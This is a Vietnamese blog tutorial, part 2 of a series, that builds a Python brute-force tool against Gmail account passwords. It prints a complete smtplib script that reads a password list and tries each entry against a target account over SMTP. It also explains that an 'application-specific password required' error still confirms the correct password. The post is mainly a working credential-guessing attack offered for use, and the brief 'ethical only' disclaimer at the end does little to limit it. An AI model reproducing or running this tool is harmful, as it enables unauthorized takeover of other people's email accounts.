Hướng dẫn xây dựng công cụ tấn công Brute force mật khẩu Gmail bằng python [ Phần 2 ]

Hướng dẫn xây dựng công cụ tấn công Brute force mật khẩu Gmail bằng python [ Phần 2 ]




Hướng dẫn xây dựng công cụ tấn công Brute force mật khẩu Gmail bằng python [ Phần 2 ]

Trong bài viết trước chúng ta đi tìm hiểu về ý tưởng phác thảo lên để viết công cụ Brute Force mật khẩu Gmail bằng Python . Vậy thì trong bài viết này ta sẽ cùng nhau đi xây dựng cho mình một công cụ Brute Force .

Công cụ hôm nay chúng ta thực hiện sẽ được viết bằng python 3 .

Phần 2 : Thiết kế công cụ 

Ok ! Lên xe ta cùng đi nào .

Ừm , đầu tiên ta sẽ xác định chúng ta sẽ dùng cái gì trong Script này . Như đã đề cập ở bài trước , ta sẽ dùng module có tên là smtplib . Còn lại thì đã có sẵn trong mặc định của Python nên ta không cần bàn tiếp .

1. Nhập module và các thông tin cần thiết 

Vì chương trình của ta chỉ dùng duy nhất một module có tên là smtplib . Còn muốn tùy biến thêm thì tùy ở bạn . Nhưng cốt lõi của cái này vẫn là smtplib .


Thứ hai , vì chương trình của chúng ta được xây dựng theo kiểu Brute Force nên sẽ cần có một pass file . Nên ta sẽ cần viết lệnh yêu cầu người dùng cho ta biết đâu là file pass cần dùng . Tiếp theo là cần một tài khoản cần để tấn công . Và vậy ta có các lệnh sau :


2. Các bước liên quan khác .

Sau khi người dùng nhập vào địa chỉ file pass . Thì chương trình sẽ mở file pass rồi đọc từng dòng pass để đưa cho các bước login sau . Vậy , để mở file pass đó ta sẽ dùng open() , mà ta chỉ cần đọc pass thôi nên ta dùng tiếp chế độ 'r' . Ừm , mà vì đó là một danh sách mật khẩu, mà ở đây ta đang dùng Brute Force nên ta sẽ đọc từng dòng một trong file pass rồi mới tiến hành attack , nếu pass sai , lấy pass ở dòng dưới và nếu đúng thì kết thúc. À , để đọc từng dòng một , ta đã có readlines() . Vậy ta có code sau :


3. Thực hiện attack mật khẩu

Các bạn đã nghe qua vòng lặp for chưa . Chưa thì về học lại lớp 9 he . Mình không nói thêm về phần này . Nếu bạn nào học chắc phần lặp này ở lớp 9 hoặc lớp 11 thì khi nhìn vào code dưới sẽ hiểu ngay . Tuy là Pascal với Python nó khác nhau, nhưng ý tưởng ở đây là như nhau .


Mình giải thích chút về những cái mà mình nghĩ là một số bạn sẽ không hiểu ở đây :

smtplib.SMTP_SSL('smtp.gmail.com', 465).login(user, password)

Cái trên là để thực hiện kết nối đến Gmail bằng user và password . Thực chất thì nó có thể biết theo kiểu như này :

connect = smtplib.SMTP_SSL('smtp.gmail.com', 465)
connect.login(user, password)  

Hai cách viết giống nhau , không có gì khác cả .

if 'Application-specific password required' in str(error):

str(error) thì đơn giản quá nên mình không alo nó lại nữa . Còn dòng trước thôi . Tại sao đã :

if 'Application-specific password required' in str(error):
         print ("+> Pass là "+ password)

Mà còn in là pass là . Tại sao đã là lỗi khi đăng nhập rồi mà còn thông báo là đó là pass ? . 😠 .

Tớ giải thích như này các cậu tự hiểu nhé ! ." Application-specific password required " là  " mật khẩu dành riêng cho ứng dụng " , tức là gì , tức là cái Gmail này bắt buộc chỉ có thể truy cập bằng cách truy cập trực tiếp từ gmail.com . Muốn truy cập bằng SMTP thì phải cấu hình lại trong cài đặt. Do đó , cho dù đăng nhập được hay là thông báo lỗi rằng Application-specific password required thì đó đều là mật khẩu ta cần .

Ok . Thế thôi , còn đây là toàn bộ code :

import smtplib

file_pass = input("File pass cần dùng: ")
user = input("Tài khoản : ")

pass_attack = open(file_pass,'r').readlines()


i = 0
for password in pass_attack:
i = i + 1
try:
smtplib.SMTP_SSL('smtp.gmail.com', 465).login(user, password)
print ("+> Pass là "+ password)
break
except smtplib.SMTPAuthenticationError as error:
if 'Application-specific password required' in str(error):
print ("+> Pass là "+ password)
break
else:
print ("+> Không phải "+ password)

Lưu ý luôn với các bạn là không phải cái Gmail nào cũng được đâu nhé , tùy vào cấu hình bảo mật của người dùng và chính sách của Gmail . Đơn cử như mình test với Gmail 1 thì ok , nhưng với Gmail 2 thì nó không được , mặc dù mật khẩu đúng. Nguyên do là Gmail nó liệt SMTP vào ứng dụng không an toàn . Và câu hỏi đặt ra ở đây là tại sao gmail 1 không bị, mình cũng chả biết, chắc là do Gmail  1 có bật xác thực nên Gmail nó cười rằng " Ngu , tao đã bật xác thực hai yếu tố thì bố mày ứng dụng độc với chả hại " .

Cuối cùng , blog của tôi dành cho Ethical thôi, không phải thì đi chỗ khác chơi . Cấm nghịch !

OK ! DONE 

[ " Ai biết được " ]